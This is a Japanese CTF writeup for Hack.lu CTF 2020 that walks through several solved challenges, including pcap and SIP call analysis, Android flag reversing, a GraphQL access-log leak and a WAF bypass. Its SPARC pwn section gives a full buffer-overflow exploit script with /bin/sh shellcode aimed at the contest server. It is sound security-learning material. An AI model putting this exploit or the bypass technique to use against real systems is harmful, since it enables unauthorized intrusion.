Hack.lu CTF 2020 Writeup

Sun Oct 25 2020

    2020/10/23 20:37 - 2020/10/25 20:37 で開催された Hack.lu CTF 2020 に1人チーム (y011d4) で参加しました。 自分が好きな crypto, rev はあまり存在しなくて (or 全く歯が立たない)、結果として普段避けがちな web 問に取り掛かれたのはよかったです。 結果は56位でした。 解けた問題についての writeup をまとめます (本当は英語で書くのがベターだけど、時間がないので日本語で)。 どうでもいいけど、自分は "cool theme" で開いていたのですが、アレ (自主規制) のパロディで笑った。

    解けた問題

    Misc

    Callman

    pcap ファイルが渡されて解析する問題。 取っ掛かりが全然わからなかったため、問題文に入っている call という文字列で適当に grep してみました。

    strings Callboy.pcapng | grep call -A 3 -B 3 -i
    From: <sip:[email protected]3>;tag=xNvnJk9AB
    To: sip:[email protected]
    CSeq: 20 INVITE
    Call-ID: 54c2YeA2B1
    Max-Forwards: 70
    Supported: replaces, outbound, gruu
    Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO, UPDATE
    --
    Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
    From: <sip:[email protected]3>;tag=xNvnJk9AB
    To: <sip:[email protected]6>
    Call-ID: 54c2YeA2B1
    CSeq: 20 INVITE
    User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
    Content-Length: 0
    --
    Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
    From: <sip:[email protected]3>;tag=xNvnJk9AB
    To: <sip:[email protected]6>;tag=1213333916
    Call-ID: 54c2YeA2B1
    CSeq: 20 INVITE
    Contact: <sip:[email protected]:5060>
    User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
    --
    Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
    From: <sip:[email protected]3>;tag=xNvnJk9AB
    To: <sip:[email protected]6>;tag=1213333916
    Call-ID: 54c2YeA2B1
    CSeq: 20 INVITE
    Contact: <sip:[email protected]6>
    Content-Type: application/sdp
    --
    From: <sip:[email protected]3>;tag=xNvnJk9AB
    To: <sip:[email protected]6>;tag=1213333916
    CSeq: 20 ACK
    Call-ID: 54c2YeA2B1
    Max-Forwards: 70
    User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
    [email protected]
    --
    Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
    From: <sip:[email protected]6>;tag=1213333916
    To: <sip:[email protected]3>;tag=xNvnJk9AB
    Call-ID: 54c2YeA2B1
    CSeq: 2 BYE
    Contact: <sip:[email protected]:5060>
    Max-Forwards: 70
    --
    Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
    From: <sip:[email protected]6>;tag=1213333916
    To: <sip:[email protected]3>;tag=xNvnJk9AB
    Call-ID: 54c2YeA2B1
    CSeq: 2 BYE
    User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
    Supported: replaces, outbound, gruu
    

    SIP というプロトコルで通話をしているログなのかなと予想しました。 Wireshark で開き、 Telephony -> RTP -> RTP Streams で RTP のストリームを見てみると3つ見つかり、そのうちの1つが音声となっていました。 後は英語のリスニング試験となったのですが、英語が苦手な自分は pixel (スマホ) のレコーダーアプリで文字起こしをしてもらってフラグを入手しました。 (call を cool と文字起こしされて、なかなか修正に手こずった…)

    flag{call_me_baby_1337_more_times}

    P*rn Protocol

    P*rnProtocol という通信規格のドキュメントが与えられているので、その規格に沿って通信する問題。 説明書を読んで愚直に実装するだけでした。やったことの流れを簡単にまとめると、

    1. identifier が最初の通信で渡されるので、それを指定しつつ Member ID をリクエスト
    2. username, password を返されるので、それを使ってログイン
    3. flag をリクエスト

    実装には pwntools を使いました。 悲しいことに大会中に誤ってファイルを消してしまうというとんでもないミスをしてしまったためコードは残っていないし、既に解けた問題のコードを復元する気力はないので方針だけです…

    Pwn

    Secret Pwnhub Academy Rewards Club

    sparc というアーキテクチャ上での pwn 問。 仕様については https://cseweb.ucsd.edu/~gbournou/CSE131/samv8.pdf を参考にしました。

    Dockerfile で gdb が走る環境が与えられていたため、その環境を使って gdb で挙動を確認しました。 (今回の CTF、どの問題も環境がしっかり与えられていてとてもやりやすかった)

    (gdb) disas
    Dump of assembler code for function main:
       0x000104b4 <+0>:	std  %fp, [ %sp + 0x38 ]
       0x000104b8 <+4>:	add  %sp, -96, %sp
       0x000104bc <+8>:	sub  %sp, -96, %fp
       0x000104c0 <+12>:	mov  %o7, %i7
    => 0x000104c4 <+16>:	call  0x102a4 <setup>
       0x000104c8 <+20>:	nop
       0x000104cc <+24>:	call  0x10318 <fn>
       0x000104d0 <+28>:	nop
       0x000104d4 <+32>:	clr  %g1	! 0x0
       0x000104d8 <+36>:	mov  %g1, %o0
       0x000104dc <+40>:	mov  %fp, %g1
       0x000104e0 <+44>:	mov  %i7, %o7
       0x000104e4 <+48>:	ldd  [ %fp + 0x38 ], %fp
       0x000104e8 <+52>:	mov  %g1, %sp
       0x000104ec <+56>:	retl
       0x000104f0 <+60>:	nop
    End of assembler dump.
    

    buffer overflow 問かと予想して適当にググっていると http://www.ouah.org/UNF-sparc-overflow.html を見つけました。 今回の問題設定 (main 関数から呼んだ関数上で read が呼ばれる) と酷似していたため、 buffer overflow でいけると確信。

    sparc の仕様を完全に追うのは大変そうだったため、手動二分探索で書き込む量を gdb で確認しつつ決定し、ググってみつけたシェルコード (/bin/sh) を呼び出してフラグゲット (なので結局 sparc についてはよくわからなかった)。

    from pwn import *
    from Crypto.Util.number import long_to_bytes
    
    # r = remote("localhost", 4444)
    r = remote("flu.xxx", 2020)
    
    context.log_level = "DEBUG"
    address = r.recvuntil("\n")  # 0xffffeb78
    address = int(address, 16)
    print(hex(address))
    
    r.sendline(b"A"*184 + b"\xff\xff\xec\x58" + long_to_bytes(address))
    
    # http://shell-storm.org/shellcode/files/shellcode-83.php
    shellcode = b"\x82\x10\x20\x7e" + b"\x92\x22\x40\x09" + b"\x90\x0a\x40\x09" + b"\x91\xd0\x20\x10" + b"\x2d\x0b\xd8\x9a" + b"\xac\x15\xa1\x6e" + b"\x2f\x0b\xdc\xda" + b"\x90\x0b\x80\x0e" + b"\x92\x03\xa0\x08" + b"\x94\x22\x80\x0a" + b"\x9c\x03\xa0\x10" + b"\xec\x3b\xbf\xf0" + b"\xd0\x23\xbf\xf8" + b"\xc0\x23\xbf\xfc" + b"\x82\x10\x20\x3b" + b"\x91\xd0\x20\x10"
    r.sendline(b"A" * 8 + shellcode)
    r.interactive()

    flag{all_the_!nput_to_0utput_register_sh0veling}

    Rev

    flagdroid

    android アプリの rev 問。 まずは https://www.glamenv-septzen.net/view/972 を参考に、逆アセンブルして .smali ファイルを生成しました。

    unzip flagdroid.apk
    java -jar baksmali-2.4.0.jar d classes.dex
    

    out/lu/hack/Flagdroid/MainActivity$1.smali を見てみると、 flag の判定をしているような部分を見つけました。

        const-string v2, "flag\\{(.*)\\}"
    
        .line 48
        invoke-static {v2}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
    
        move-result-object v2
    
        .line 49
        invoke-virtual {v2, v1}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
    
        move-result-object v1
    
        .line 50
        invoke-virtual {v1}, Ljava/util/regex/Matcher;->find()Z
    
        move-result v2
    
        const/4 v3, 0x4
    
        const/4 v4, 0x0
    
        if-eqz v2, :cond_88
    
        .line 51
        invoke-virtual {v1}, Ljava/util/regex/Matcher;->group()Ljava/lang/String;
    
        move-result-object v1
    
        const-string v2, "flag{"
    
        const-string v5, ""
    
        invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
    
        move-result-object v1
    
        const-string v2, "}"
    
        invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
    
        move-result-object v1
    
        const-string v2, "_"
    
        .line 53
        invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
    
        move-result-object v1
    
        .line 54
        array-length v2, v1
    
        if-ne v2, v3, :cond_88
    
        .line 55
        iget-object v2, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;
    
        aget-object v5, v1, v4
    
        # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit1(Ljava/lang/String;)Z
        invoke-static {v2, v5}, Llu/hack/Flagdroid/MainActivity;->access$000(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z
    
        move-result v2
    
        .line 56
        iget-object v5, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;
    
        const/4 v6, 0x1
    
        aget-object v6, v1, v6
    
        # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit2(Ljava/lang/String;)Z
        invoke-static {v5, v6}, Llu/hack/Flagdroid/MainActivity;->access$100(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z

    どうやら flag は flag{xxx_yyy_zzz_www} という形になっているようで、 xxx, yyy, zzz, www の部分はそれぞれ access$?00 (checkSplit?) でチェックされているみたいです。 それぞれのチェック関数を見てみると、

    • checkSplit1
      • 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
        • 0x7f0c001e の文字列は android studio で見たところ、 dEg0VA== だったので、 tH4T
    • checkSplit2
      • (flag[i] + i) xor "hack.lu20"[i]\u001fTT:\u001f5\u00f1HG と一致するかチェック
        • xor を逆変換して、 w45N-T~so
    • checkSplit3
      • md5(h4rd????) == 6d90ca30c5de200fe9f671abb2dd704e をチェック
      • ???? の部分をブルートフォースで決定
    • checkSplit4
      • ネイティブコードを使っていたため、 lib/x86_64/libnative-lib.so を見た
      • 文字列がベタ書きされていた

    一応全体のコード↓

    from base64 import b64decode
    from hashlib import md5
    from itertools import product
    
    
    # checkSplit1
    flag1 = b64decode(b"dEg0VA==").decode()
    print(flag1)
    
    
    # checkSplit2
    flag2 = ""
    target = b"\x1fTT:\x1f5\xf1HG"
    key = b"hack.lu20"
    assert len(key) == len(target)
    for i, (t, k) in enumerate(zip(target, key)):
        flag2 += chr((t ^ k) - i)
    print(flag2)
    
    
    # checkSplit3
    flag3_prefix = "h4rd"
    for i0, i1, i2, i3 in product(range(32, 128), repeat=4):
        c0, c1, c2, c3 = (
            chr(i0),
            chr(i1),
            chr(i2),
            chr(i3),
        )
        if md5((flag3_prefix + c0 + c1 + c2 + c3).encode()).hexdigest() == "6d90ca30c5de200fe9f671abb2dd704e":
            flag3 = flag3_prefix + c0 + c1 + c2 + c3
            break
    print(flag3)
    
    
    # checkSplit4
    flag4 = "0r~w4S-1t?8)"
    print(flag4)
    
    
    # join
    flag = f"flag{{{flag1}_{flag2}_{flag3}_{flag4}}}"
    print(flag)

    flag{tH4T_w45N-T~so_h4rd~huh_0r~w4S-1t?8)}

    Web

    Confession

    適当にあれこれ操作していると、 /graphql に対して post をしているのを見つけました。 ctf4b 2020 の profiler の問題を思い出した (自分の writeup link) ので、それと同じく schema がとれないかをまず試しました。とれました。

    get-graphql-schema https://confessions.flu.xxx/graphql
    directive @cacheControl(maxAge: Int, scope: CacheControlScope) on FIELD_DEFINITION | OBJECT | INTERFACE
    
    type Access {
      timestamp: String
      name: String
      args: String
    }
    
    enum CacheControlScope {
      PUBLIC
      PRIVATE
    }
    
    type Confession {
      id: String
      title: String
      hash: String
      message: String
    }
    
    type Mutation {
      """Create a new confession."""
      addConfession(title: String, message: String): Confession
    
      """Get a confession by its id."""
      confessionWithMessage(id: String): Confession
    }
    
    type Query {
      """Show the resolver access log. TODO: remove before production release"""
      accessLog: [Access]
    
      """Get a confession by its hash. Does not contain confidential data."""
      confession(hash: String): Confession
    }
    
    """The `Upload` scalar type represents a file upload."""
    scalar Upload
    

    TODO とかコメントに書いてあるものは大体怪しいので、 accessLog の query を送りました。

    {
      "operationName": null,
      "query": "query Q { accessLog { timestamp, name, args } }",
    }

    すると、以下のレスポンスが返ってきました。

    {
    "data": {
    "accessLog": [
      {
    "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
    "name": "addConfession",
    "args": "{"title":"<redacted>","message":"<redacted>"}"
    },
      {
    "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
    "name": "confession",
    "args": "{"hash":"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111"}"
    },
      {
    "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
    "name": "addConfession",
    "args": "{"title":"<redacted>","message":"<redacted>"}"
    },
      {
    "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
    "name": "confession",
    "args": "{"hash":"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"}"
    },
      {
    "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
    "name": "addConfession",
    "args": "{"title":"<redacted>","message":"<redacted>"}"
    },
      {
    "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
    "name": "confession",
    "args": "{"hash":"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83"}"
    },
    (以下略)
    

    web サイトの仕様をもう一度確認すると、 message 部分に文字を書き込むたびに graphql にクエリを投げる仕様になっていました。 hash は sha256(message) を計算しているだけなので、 message を1文字ずつ決定できそうです。

    import json
    from hashlib import sha256
    with open("./response-data-export") as f:
        res = json.load(f)
    flag = b""
    for access in res["data"]["accessLog"]:
        if access["name"] == "confession":
            for i in range(32, 128):
                c = chr(i).encode()
                if sha256(flag + c).hexdigest() == access["args"].split('"')[3]:
                    flag += c
                    print(flag)
                    break

    flag{but_pls_d0nt_t3ll_any1}

    FluxCloud Serverless

    cloud サービスを真似たような問題? Demo を押すと用意されているデモサイトがデプロイされます。そのサイトの /flag/ にアクセスするとフラグが見れそうですが、 serverless/functions/waf.js で URL 内に flag の文字列があると弾かれてしまいます。 どうすればいいかさっぱりだったため、用意されている動作環境をとりあえず手元で動かしていろいろ試してみました。 アクセスするたびに team-productsteam-security の値が減っていくのがわかります。これが0になるとサービス終了ということでデプロイ先にアクセスすることができなくなるようです。

    URL に何か小細工をするのかと考え、適当に文字を入れて試してみたところ、 %90 という文字を入れると team-security だけ減って team-products は減らないという現象に気づきました。 もう一度コードを確認すると、 waf でエラーがはかれると、 team-products を減らす処理に入らない仕様になっていました。 なので一度 %90 の文字を入れてアクセスしてエラー落ちさせたあとで /flag/ にアクセスを13回繰り返すと team-security だけ0になって team-products は非負という状況が作り出せます。 このとき waf のチェックはされなくなるため、 /flag/ にあるフラグを見ることができました。

    flag{ca$h_ov3rfl0w}

    FluxCloud Serverless 2.0

    FluxCloud Serverless の fix 版として追加された問題。 とりあえず思考停止で元の問題と同じ方法を試したところうまくワークしました。 なので差分はよくわかっていないです…

    flag{ca$h_ov3rfl0w_50b36a77aa069ca7028df9c0ca615ea3}

    解けなかった問題

    Crypto

    Bad Primes

    gcd(e,ϕ)1\gcd(e, \phi) \ne 1 なので ed1modϕed \equiv 1 \mod \phi となる dd が存在しない、という問題。 方針がわかりませんでした…解1つに決まらないのでは? とりあえず mecmodnm^e \equiv c \mod n の式について qq で mod を取ると、 mmqmodqm \equiv m_q \mod q となる mqm_q が求まります。 m=qx+mqm = q x + m_qflag{...} という形になるような制約を xx に与えてあげて for ループで探させてみましたが、フラグの文字列長は十分長いみたいで無理そうでした (フラグが36文字以下だとしたら探索可能っぽかった)。

    Web

    BabyJS

    javascript の仕様をハックするような問題集。

    const FLAG = process.env.FLAG || 'fakeflag{}';
    
    const no = (m='no') => { console.log(m); process.exit(1); };
    const assert = (m, b) => b || no(m);
    const is = (o, t) => assert('is', typeof o === t);
    const isnt = (o, t) => assert('isnt', typeof o !== t);
    const passed = (i) => console.log(`check ${i} passed`);
    
    (async () => {
    
    const readline = require('readline').createInterface({
        input: process.stdin,
        output: process.stdout,
    });
    const input = await new Promise(resolve => readline.question('Prove that you are 1337 and not baby: ', resolve));
    readline.close();
    
    assert('0', input !== '');
    passed('0');
    
    const clean = input.replace(/[\u2028\u2029]/g, '');
    const json = JSON.parse(clean);
    
    const { a, b } = json;
    is(a, 'number');
    is(b, 'number');
    assert('1.1', a === b);
    assert('1.2', 1337 / a !== 1337 / b);
    passed('1');
    
    let { c, d } = json;
    isnt(c, 'undefined');
    isnt(d, 'undefined');
    const cast = (f, ...a) => a.map(f);
    [c, d] = cast(Number, c, d);
    assert('2.1', c !== d);
    [c, d] = cast(String, c, d);
    assert('2.2', c === d);
    passed('2');
    
    let { e } = json;
    is(e, 'number');
    const isCorrect = e++<e--&&!++e<!--e&&--e>e++;
    assert('3', isCorrect);
    passed('3');
    
    const { f } = json;
    isnt(f, 'undefined');
    assert('4', f == !f);
    passed('4');
    
    const { g } = json;
    isnt(g, 'undefined');
    // what you see:
    function check(x) {
        return {
            value: x * x
        };
    }
    // what the tokenizer sees:
    function
            check
                 (
                  x
                   )
                    {
                     return
                           {
                            value
                                 :
                                  x
                                   *
                                    x
                                     }
                                      ;
                                       }
    assert('5', g == check(g));
    passed('5');
    
    const { h } = json;
    is(h, 'number');
    try {
        JSON.parse(String(h));
        no('6');
    } catch(e){}
    passed('6');
    
    const { i } = json;
    isnt(i, 'undefined');
    assert('7', i in [,,,...'"',,,Symbol.for("'"),,,]);
    passed('7');
    
    const js = eval(`(${clean})`);
    assert('8', Object.keys(json).length !== Object.keys(js).length);
    passed('8');
    
    const { y, z } = json;
    isnt(y, 'undefined');
    isnt(z, 'undefined');
    y[y][y](z)()(FLAG);
    
    })();

    f までしか解けませんでした…全然思いつかない。

    echo '{"a": 0, "b": -0, "c": "NaN", "d": "NaN", "e": -1, "f": [0], "g": "giveup"}' | nc flu.xxx 2071
    Prove that you are 1337 and not baby: check 0 passed
    check 1 passed
    check 2 passed
    check 3 passed
    check 4 passed
    5